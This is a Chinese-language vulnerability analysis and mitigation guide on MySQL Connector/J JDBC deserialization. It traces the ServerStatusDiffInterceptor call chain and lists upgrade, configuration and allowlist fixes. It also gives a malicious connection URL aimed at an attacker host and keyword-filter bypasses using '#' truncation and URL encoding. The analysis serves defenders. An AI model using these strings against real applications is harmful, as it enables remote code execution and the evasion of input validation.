Jdbc反序列化[绕过|修复|分析]
字数 1081 2025-08-10 13:48:29

MySQL JDBC反序列化漏洞分析与防护指南

一、漏洞背景

MySQL JDBC驱动在特定配置下存在反序列化漏洞,攻击者可通过精心构造的连接字符串触发该漏洞,导致远程代码执行。本文基于MySQL Connector/J 8.0.14版本进行分析。

二、JDBC标准连接流程

Oracle定义的JDBC标准连接流程如下:

  1. 注册数据库驱动

    Class.forName("com.mysql.cj.jdbc.Driver");
    
  2. 建立数据库连接

    Connection con = DriverManager.getConnection(url, properties);
    

三、MySQL JDBC连接流程分析

1. 连接处理流程

  1. 连接字符串解析

    • 使用正则提取jdbc:mysql:作为scheme
    • 将连接URL转换为ConnectionUrl对象
    • 解析为以下部分:
      • scheme
      • authority
      • path
      • query
      • fragment
  2. 关键解析点

    • #后面的内容被视为fragment,可用于截断URL
    • 如果设置了useConfigs参数,会读取配置文件
    • URL参数会被URL解码(key和value都会解码)
    • getConnection传入的Properties会覆盖URL中的同名参数
  3. 特殊协议处理

    • 当设置protocol=PIPEpath参数时,会在path位置创建PIPE文件

2. 反序列化触发点

反序列化漏洞主要涉及以下组件和流程:

  1. 查询拦截器机制

    • 通过queryInterceptors参数指定SQL查询结果处理器
    • 设置为com.mysql.cj.jdbc.interceptors.ServerStatusDiffInterceptor时触发漏洞
  2. 漏洞触发链

    ServerStatusDiffInterceptor.postProcess()
    → populateMapWithSessionStatusValues()
    → ResultSetUtil.resultSetToMap()
    → ResultSetImpl.getObject()
    → objIn.readObject() [当autoDeserialize=true且数据类型为BLOB时]
    

四、漏洞利用与绕过技巧

1. 基本利用方式

jdbc:mysql://attacker_ip:3306/test?autoDeserialize=true&queryInterceptors=com.mysql.cj.jdbc.interceptors.ServerStatusDiffInterceptor

2. 关键字绕过技术

  1. 使用#号截断

    jdbc:mysql://127.0.0.1:3306/test?autoDeserialize=true&queryInterceptors=com.mysql.cj.jdbc.interceptors.ServerStatusDiffInterceptor#
    
  2. URL编码绕过

    • 单次编码:
      %61utoDeserialize=true
      
    • 双重编码:
      %2561utoDeserialize=true
      

五、修复方案

1. 升级驱动版本

升级到MySQL Connector/J 8.0.21或更高版本,该版本中:

  • ServerStatusDiffInterceptor不再使用getObject
  • 改为使用getString方法

2. 代码层防护

在代码中显式设置autoDeserialize为false:

String url = "jdbc:mysql://127.0.0.1:3306/test";
Properties properties = new Properties();
properties.setProperty("autoDeserialize", "false");
properties.setProperty("user", "username");
properties.setProperty("password", "password");
Connection con = DriverManager.getConnection(url, properties);

3. 其他防护措施

  1. 限制JDBC连接字符串来源
  2. 对用户输入的连接参数进行严格过滤
  3. 使用白名单机制限制允许的queryInterceptors类

六、总结

MySQL JDBC反序列化漏洞主要源于:

  1. 查询拦截器机制的设计缺陷
  2. 自动反序列化功能的危险性
  3. 连接字符串解析的不严谨性

防护要点:

  • 及时升级驱动版本
  • 禁用危险功能(autoDeserialize)
  • 严格控制连接参数输入
  • 实施最小权限原则
MySQL JDBC反序列化漏洞分析与防护指南 一、漏洞背景 MySQL JDBC驱动在特定配置下存在反序列化漏洞,攻击者可通过精心构造的连接字符串触发该漏洞,导致远程代码执行。本文基于MySQL Connector/J 8.0.14版本进行分析。 二、JDBC标准连接流程 Oracle定义的JDBC标准连接流程如下: 注册数据库驱动 : 建立数据库连接 : 三、MySQL JDBC连接流程分析 1. 连接处理流程 连接字符串解析 : 使用正则提取 jdbc:mysql: 作为scheme 将连接URL转换为 ConnectionUrl 对象 解析为以下部分: scheme authority path query fragment 关键解析点 : # 后面的内容被视为fragment,可用于截断URL 如果设置了 useConfigs 参数,会读取配置文件 URL参数会被URL解码(key和value都会解码) getConnection 传入的Properties会覆盖URL中的同名参数 特殊协议处理 : 当设置 protocol=PIPE 和 path 参数时,会在path位置创建PIPE文件 2. 反序列化触发点 反序列化漏洞主要涉及以下组件和流程: 查询拦截器机制 : 通过 queryInterceptors 参数指定SQL查询结果处理器 设置为 com.mysql.cj.jdbc.interceptors.ServerStatusDiffInterceptor 时触发漏洞 漏洞触发链 : 四、漏洞利用与绕过技巧 1. 基本利用方式 2. 关键字绕过技术 使用#号截断 : URL编码绕过 : 单次编码: 双重编码: 五、修复方案 1. 升级驱动版本 升级到MySQL Connector/J 8.0.21或更高版本,该版本中: ServerStatusDiffInterceptor 不再使用 getObject 改为使用 getString 方法 2. 代码层防护 在代码中显式设置 autoDeserialize 为false: 3. 其他防护措施 限制JDBC连接字符串来源 对用户输入的连接参数进行严格过滤 使用白名单机制限制允许的queryInterceptors类 六、总结 MySQL JDBC反序列化漏洞主要源于: 查询拦截器机制的设计缺陷 自动反序列化功能的危险性 连接字符串解析的不严谨性 防护要点: 及时升级驱动版本 禁用危险功能(autoDeserialize) 严格控制连接参数输入 实施最小权限原则